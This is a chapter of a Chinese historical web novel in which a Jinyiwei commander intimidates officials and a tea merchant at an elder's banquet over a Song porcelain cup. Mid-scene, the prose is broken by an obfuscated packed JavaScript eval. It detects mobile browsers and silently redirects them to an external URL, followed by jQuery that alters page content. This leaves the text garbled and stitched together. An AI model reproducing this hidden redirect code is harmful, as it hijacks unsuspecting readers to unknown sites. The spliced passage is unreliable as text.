顾老被这话一呛,难以相信有人竟敢跟他如此讲话,一时颇为惊异,连连咳嗽了几声。
林凡安见状快步上前扶住顾老,望了一眼卢点雪,随后向毛一鹭躬身行礼,果断决定撤退。
“多谢官爷提醒。恰好顾老身体不适,我们现在就走,不妨碍您办事了。”
“瞧这话说的,这不是顾老的府上嘛。我怎好意思反客为主,把主人家给赶走呢?”
谁知这毛一鹭不按常理出牌,伸手一拦,挡住了林凡安和顾老的去路。
“这不,还有位客人需要顾老帮忙招待招待,顺便向你们打听些事儿?”
他话音刚落,身后又冒出来个人。
此人甫一出现,在场众人霎时面色煞白。
卢点雪定睛一看,心也一下子凉了半截。
此人不是旁人,正是锦衣卫指挥使——沈靳炳。
“别来无恙,卢巡按。”
沈靳炳面带笑意,跨过门槛进入大厅,与卢点雪打了个招呼。
“恭迎上差,”卢点雪硬着头皮问候道,“不知上差过来有何贵干?”
“难道没事就不能来顾老府上,看望看望他老人家?”
沈靳炳兀自寻了个位置,舒舒服服地坐下来,含笑道,
“想当年顾老也是朝堂上的中流砥柱,既然来了苏州府,那不得先来拜见拜见?”
“呵呵,还真是多谢上差挂念了……”
迎着锦衣卫首领的亲切关照,顾老讪讪一笑,头上的冷汗都快下来了。
“顾老这是把苏州府的官员都聚来吃饭了?不光是卢巡按,李知府,几个县的知县也全在。呦,竟然还有位何御史,您是什么时候从扬州来的苏州?圣上知道吗?”
沈靳炳巡视一圈,将满堂宾客打量了个遍,目光在何裘身上短暂地停留了一下,而后又移开。
最终,他的视线又落到顾老这边。
准确说,是落在了林凡安身上。
“还有这位,瞧着有些眼熟,应该是在京里见过的。你是何人?肯定不是苏州府或者南直隶的官员吧?”
沈靳炳饶有兴致地开了口。
比起不知何时到达苏州的何裘,他对这位不知名的宾客更为感兴趣。
“官爷好眼力,鄙人正是茶商林凡安。”
林凡安调转方向,朝着沈靳炳毕恭毕敬地行礼,看上去谦卑极了。
“哦,原来是我们的纳税大户,林家铺子的林老板,圣上可最为喜爱喝你家的茶了。不过,在京城待了这么久,我可没怎么见过阁下,说是仅有一面之缘也不为过啊——”
沈靳炳听后恍然大悟,特意拉长语调,晃晃悠悠地拖了半天,显然是话里有话。
“那只怪草民命薄,无缘多见几次官爷了。”
对于沈靳炳的试探,林凡安一笑而过,并没当回事儿。
他回答得甚为巧妙,可谓是滴水不漏。
“命薄吗?”沈靳炳轻笑一声,“这已经算是福泽深厚的吧?多少人巴不得永远见不到我们锦衣卫呢。这要是天天见,时时见,尤其是在诏狱里头,到那时候,林老板还会觉得自己命薄吗?”
“是草民的不对,”林凡安火速改口,“这么说草民的福气确实是很大的。鄙人家的茶叶能得到皇上厚爱,这是多少人几世都修不来的福气。”
“这才对嘛,”沈靳炳满意地点了点头,“都说林老板神神叨叨、玄玄乎乎的,不愿以真面目示人,整得本官还以为林老板是个什么隐姓埋名的在逃犯人呢!瞧瞧,这不是挺圆滑挺正常一人吗!天生做商人的一块料!”
“多谢官爷夸奖,那草民就却之不恭了。”
林凡安也是心大脸皮厚,就这么大大咧咧地承认了。
在场的大多数人都被沈靳炳吓得面如土色,就他一个还能和沈靳炳谈笑风生。
“好好好,接下来就由你来给我带路吧。有你这个妙人在,想来待会儿也不会让我太过烦心。”
沈靳炳抚掌而笑,目光忽地转向还在一旁站着的卢点雪,眉梢一挑,意味深长道,
“卢巡按,怎得还站在这儿看热闹?赶紧随毛中丞去巡抚衙门审案子吧,毛中丞可没我这般有耐心。你事不办妥当,毛中丞可是要发脾气的。”
“走,别磨蹭了,督主在京里还等着!”
毛一鹭明显已经不耐烦了,都未曾与沈靳炳招呼一声,推搡着卢点雪就离开了。
然而沈靳炳仍悠闲地坐着,并没有打算跟着毛一鹭一起走的意思。
相比于战战兢兢、抖如筛糠的旁人,愈发显得沈靳炳玩世不恭。
不知何时,他手中多一只定窑的白瓷茶盏。
沈靳炳一边把玩着,一边状似不经意地开口道:
“好了,毛中丞都已经走了,诸位也不必如此严肃。放心,本官问个问题就走,你们大可继续宴饮,继续享乐。”
“你们当中,哪位是吴县的邓知县?”
他话音刚落,在场众人齐刷刷地向两边移去。
于是乎,一个不知所措,尚未搞清眼前发生了什么的邓礼便出现在沈靳炳面前。
直至李平在背后用胳膊肘捣了他一下,邓礼方才如梦初醒,磕磕巴巴地回道:
“正,正是下官……”
邓礼看上去快要晕了,在李平的搀扶下,哆哆嗦嗦地站了出来。
“嚯,邓知县何故如此惊慌?本官又不吃人,至于怕成这样?”
瞧着邓礼这副模样,沈靳炳只觉得好笑。
他直起身,握着这盏白瓷茶盏,大步流星地走向邓礼,在其身旁停下,拍了拍肩膀,和善道:
“只是向你打听个人而已,邓知县肯定知道,不用这么紧张。”
随后他微微俯身,与邓礼附耳低语了几句。
具体说了什么,除他们二者之外,无人知晓。
然而就在沈靳炳刚刚直起身子的那一刻,邓礼终于支撑不住,一下子瘫倒在地,瞳孔收缩,满目惊恐。
眼见这般情形,李平也是一惊。
他有心想要问问邓礼沈靳炳究竟说了什么,以至于会在众人面前如此失态。
但碍于沈靳炳锦衣卫指挥使的淫威,他也不敢轻举妄动,只能悄悄地伸手,企图将邓礼拉起来,却无济于事。
不过,邓礼这边的动静这么大,也并未引得沈靳炳回头再看一眼。
只见他闲庭散步般地走到顾老身边,一直摩挲着手中的那只茶盏,似乎并未察觉到四周肃穆凝重的气氛是由他引起的,反倒饶有兴致地开口道,
“顾老府上这只茶盏做得可真是精巧,甚合我意,不知老大人可否舍得,愿意割爱卖予我?”
“不过一个小玩意儿罢了,值不了几个钱。既然上差看得上眼,拿去便是,何谈卖不卖的?”
闻言,顾老脸上勉强挤出一个笑容。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15087756|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
哦?北宋的定窑白瓷不值钱,我还是头一次听说。这种品质的宋瓷,就算是宫里也不多见啊。”
仿佛是听到了什么天大的笑话,沈靳炳忍俊不禁,哈哈大笑起来。
他无视此时早已汗如雨下的顾老,直接转向林凡安,毫不顾忌地问起了这位商人,
“对了,这里可还有位名满江南的大富商呢。林老板肯定是识货的,若是知道市价,不妨告诉我个价格,我再多付一些给顾老,也算是替顾老出一份力,为苏州百姓解决掉水患的麻烦?”
“请官爷恕草民难以从命,草民实在不知这宋瓷的市价几何。”
出乎意料的是,林凡安果断回绝了沈靳炳。
“何况就算草民知道,草民也不会告诉您的。”
迎着沈靳炳玩味的目光,林凡安慢条斯理地解释道:“官爷久居京城,想来不是不知道草民店里的规矩。凡是我林凡安名下,店里所卖的任何东西,绝无与市价齐平的价格。假若草民今日告诉了您,岂不是砸了自家招牌?日后如何在京城立足?”
“呵,巧言令色。只可惜你此时身不在诏狱,否则我可真想拔了你的舌头,看看究竟是怎样一张嘴,竟能练得如此巧舌如簧。”
沈靳炳嗤笑一声。
他话虽狠,人却没什么动静,也并未阻止林凡安继续说下去。
“那还是得多谢皇上垂爱,让草民福泽深厚,不至于因为这张嘴而招致祸患。”
林凡安虚虚一抱拳,同样回以一笑,继续道,
“再说官爷不是不知道,这瓷器最初其实也就是一抔泥土罢了。一抔泥土,价钱几何?其值钱的部分取决于它的工艺,它的成色,它的形态,还有我们这些商人对其宣扬的造势,以至于让天下人趋之若鹜,愿意为其一掷千金。”
“说来说去,这泥土最终的定价,还不是由人来界定的?只要我想,我愿意,就能将一抔一文不值的烂泥,捧成一件绝无仅有的无价之宝。”
“当然,鄙人鬻货定价,考虑的绝不仅仅只有这一部分因素。草民更注重的还是作为买方的您啊!您身为贵客,唯有您的需求才是我们这些贱商最为关注的。”
说到此处,林凡安微微一顿,特意放缓了语气,高深莫测道,
“您的身份,您的地位,决定了鄙人所售之物的最终价格。您要什么,我林凡安就能给您什么。”
“只不过这位官爷,草民现如今还不知道您是何等官阶的锦衣卫呢。如此身份,若是仅想让在下估个市价卖与您,合适否?”
待林凡安最后一个字的话音落下,整片大厅鸦雀无声。
所有人的呼吸一窒,屏气凝神,惊魂不定地注视着面色阴晴不定的沈靳炳。
准确来说,是注视着他那何时不知落到腰侧绣春刀的手上。
沈靳炳不说话,此时也无人敢开口。
“当然不合适。”
良久,沈靳炳终于说了句话,神情一变,又恢复成了那副悠然自在的模样。
他掏出一叠银票,数都未曾数,便交予顾老。
随即,他朝着邓礼的方向扬了扬下巴,示意邓礼跟着他一道走。
就在众人长舒一口气,以为这阎王爷总算要离开之际,沈靳炳忽又猛地转过身来,对着林凡安戏谑道,
“林老板不是问我官职吗,那好,我就告诉你,本官正是锦衣卫首领,正三品指挥使。”
“小小一只茶盏,林老板都能说得神乎奇乎,连本官都快被你绕进去了。你如今能做到这个阵势,也算是有几分本事。”
“比起宋瓷,还是你林老板令我更为好奇啊,你可比这死物要有意思多了。”
“至于这只茶盏嘛,还是让它继续成为一个无价之宝吧。”
不待众人反应过来,那只本来还好好放在沈靳炳手中的茶盏,顿时被毫不怜惜地往外一扔,摔了个粉身碎骨。
在瓷器清脆的碎裂声中,沈靳炳的声音渐行渐远,但仍然清晰可辨:
“林老板,咱们有缘再会。”